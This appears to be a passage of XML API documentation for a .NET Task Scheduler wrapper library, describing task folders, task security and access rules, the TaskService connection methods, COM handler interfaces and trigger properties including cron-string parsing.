folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. 